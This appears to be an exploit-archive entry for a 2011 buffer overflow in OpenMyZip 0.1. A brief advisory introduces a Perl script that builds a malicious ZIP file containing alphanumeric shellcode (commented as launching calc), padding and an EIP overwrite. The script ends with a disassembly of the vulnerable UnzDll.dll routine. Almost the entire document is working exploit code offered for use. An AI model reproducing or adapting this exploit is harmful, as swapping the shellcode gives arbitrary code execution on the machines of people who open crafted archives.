OpenMyZip 0.1 – ‘.zip’ Remote Buffer Overflow

source: https://www.securityfocus.com/bid/47678/info

OpenMyZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

OpenMyZip 0.1 is vulnerable; other versions may also be affected.

#!/usr/bin/perl

#

#[+]Exploit Title: OpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability

#[+]Date: 02\05\2011

#[+]Author: C4SS!0 G0M3S

#[+]Software Link: http://download.cnet.com/OpenMyZip/3000-2250_4-10657274.html

#[+]Version: v0.1

#[+]Tested On: WIN-XP SP3 Brazil Portuguese

#[+]CVE: N/A

#

use strict;

use warnings;

my $filename = "Exploit.zip";

print "\n\n\t\tOpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability\n";

print "\t\tCreated by C4SS!0 G0M3S\n";

print "\t\tE-mail Louredo_\@hotmail.com\n";

print "\t\tSite www.exploit-br.org/\n\n";

print "\n\n[+] Creting ZIP File...\n";

sleep(1);

my $head = "\x50\x4B\x03\x04\x14\x00\x00".

"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00" .

"\xe4\x0f" .

"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".

"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\xe4\x0f".

"\x00\x00\x00\x00\x00\x00\x01\x00".

"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".

"\x00\x01\x00\x01\x00".

"\x12\x10\x00\x00".

"\x02\x10\x00\x00".

"\x00\x00";

my $payload = "\x41" x 8;

$payload = $payload.

("\x61" x 7).#6 POPAD

("\x6A\x30").#PUSH 30

("\x5B\x52\x59").#POP EBX / PUSH EDX / POP ECX

("\x41" x 10).#10 INC EAX

("\x02\xd3").#ADD CL,BL

("\x51\x58").#PUSH ECX / POP EAX

("\x98\xd1"); #BASE CONVERSION

#"\x98" == "\xff"

# "\xd1" == "\xd0"

#"\xff" + "\xd0" = CALL EAX AND CODE EXECUTION.;-}

$payload .= "\x41" x 22;#MORE PADDING FOR START FROM MY SHELLCODE

$payload .=

"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYK9PFQO9OO3LUFRPHLN9R".

"TFDZTNQ5NV8VQSHR8MSM8KLUSRXRHKDMUVPBXOLSUXI48X6FCJUZSODNNCMTBOZ7JP2ULOOU2JMUMPTN".

"5RFFIWQM7MFSPZURQYZ5V05ZU4TO7SLKK5KEUBKJPQ79MW8KM12FXUK92KX9SZWWK2ZHOPL0O13XSQCO".#Alpha SHELLCODE WinExec('calc',0) BaseAddress = EAX

"T67JW9HWKLCLNK3EOPWQCE4PQ9103HMZUHFJUYQ3NMHKENJL1S5NHWVJ97MGK9PXYKN0Q51864NVOMUR".

"9K7OGT86OPYJ03K9GEU3OKXSKYZA";

$payload .= "\x44" x (2050-length($payload));

$payload .= "\x58\x78\x39".#POP EAX / JS SHORT 011E0098

"\x41" x 5;# PADDING FOR OVERWRITE EIP

$payload .= pack('V',0x00404042);#JMP EBX

$payload .= "\x42" x 50;

$payload .= "\x41" x (4064-length($payload));

$payload = $payload.".txt";

my $zip = $head.$payload.$head2.$payload.$head3;

open(FILE,">$filename") || die "[-]Error:\n$!\n";

print FILE $zip;

close(FILE);

print "[+] ZIP File Created With Sucess:)\n";

sleep(2);

=head

#

#The Vulnerable Function:

#

#The Vulnerable function is in MODULE UnzDll.dll on

#Function UnzDllExec+0x7a3 after CALL the function kernel32.lstrcpyA

#ocorrs the Buffer Overflow on movimentation of the String Very large.

#

#Assemble:

#

# 0x00DA6A6F 53 PUSH EBX

# 0x00DA6A70 56 PUSH ESI

# 0x00DA6A71 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]

# 0x00DA6A74 8B55 18 MOV EDX,DWORD PTR SS:[EBP+18]

# 0x00DA6A77 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10]

# 0x00DA6A7A 83BE 8CD20000 00 CMP DWORD PTR DS:[ESI+D28C],0

# 0x00DA6A81 8D9E 50D80000 LEA EBX,DWORD PTR DS:[ESI+D850]

# 0x00DA6A87 74 65 JE SHORT UnzDll.00DA6AEE

# 0x00DA6A89 8B8E 84D20000 MOV ECX,DWORD PTR DS:[ESI+D284]

# 0x00DA6A8F 890B MOV DWORD PTR DS:[EBX],ECX

# 0x00DA6A91 8B8E 88D20000 MOV ECX,DWORD PTR DS:[ESI+D288]

# 0x00DA6A97 894B 04 MOV DWORD PTR DS:[EBX+4],ECX

# 0x00DA6A9A 33C9 XOR ECX,ECX

# 0x00DA6A9C C743 08 A0000000 MOV DWORD PTR DS:[EBX+8],0A0

# 0x00DA6AA3 894B 0C MOV DWORD PTR DS:[EBX+C],ECX

# 0x00DA6AA6 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]

# 0x00DA6AA9 894B 10 MOV DWORD PTR DS:[EBX+10],ECX

# 0x00DA6AAC 81BE 88DB0000 91>CMP DWORD PTR DS:[ESI+DB88],91

# 0x00DA6AB6 7F 0A JG SHORT UnzDll.00DA6AC2

# 0x00DA6AB8 8BC8 MOV ECX,EAX

# 0x00DA6ABA 80E1 FF AND CL,0FF

# 0x00DA6ABD 0FBEC9 MOVSX ECX,CL

# 0x00DA6AC0 EB 02 JMP SHORT UnzDll.00DA6AC4

# 0x00DA6AC2 8BC8 MOV ECX,EAX

# 0x00DA6AC4 894B 14 MOV DWORD PTR DS:[EBX+14],ECX

# 0x00DA6AC7 85D2 TEST EDX,EDX

# 0x00DA6AC9 8B45 14 MOV EAX,DWORD PTR SS:[EBP+14]

# 0x00DA6ACC 8943 18 MOV DWORD PTR DS:[EBX+18],EAX

# 0x00DA6ACF 75 06 JNZ SHORT UnzDll.00DA6AD7

# 0x00DA6AD1 C643 1C 00 MOV BYTE PTR DS:[EBX+1C],0

# 0x00DA6AD5 EB 0A JMP SHORT UnzDll.00DA6AE1

# 0x00DA6AD7 52 PUSH EDX

# 0x00DA6AD8 8D53 1C LEA EDX,DWORD PTR DS:[EBX+1C]

# 0x00DA6ADB 52 PUSH EDX

# 0x00DA6ADC E8 ABF20000 CALL UnzDll.00DB5D8C ; JMP to kernel32.lstrcpyA

# 0x00DA6AE1 53 PUSH EBX

# 0x00DA6AE2 FF96 8CD20000 CALL DWORD PTR DS:[ESI+D28C] ; Here ocorrs the Code Execution:-)

# 0x00DA6AE8 0986 70D20000 OR DWORD PTR DS:[ESI+D270],EAX

# 0x00DA6AEE 5E POP ESI

# 0x00DA6AEF 5B POP EBX

# 0x00DA6AF0 5D POP EBP

# 0x00DA6AF1 C3 RETN

#

=cut

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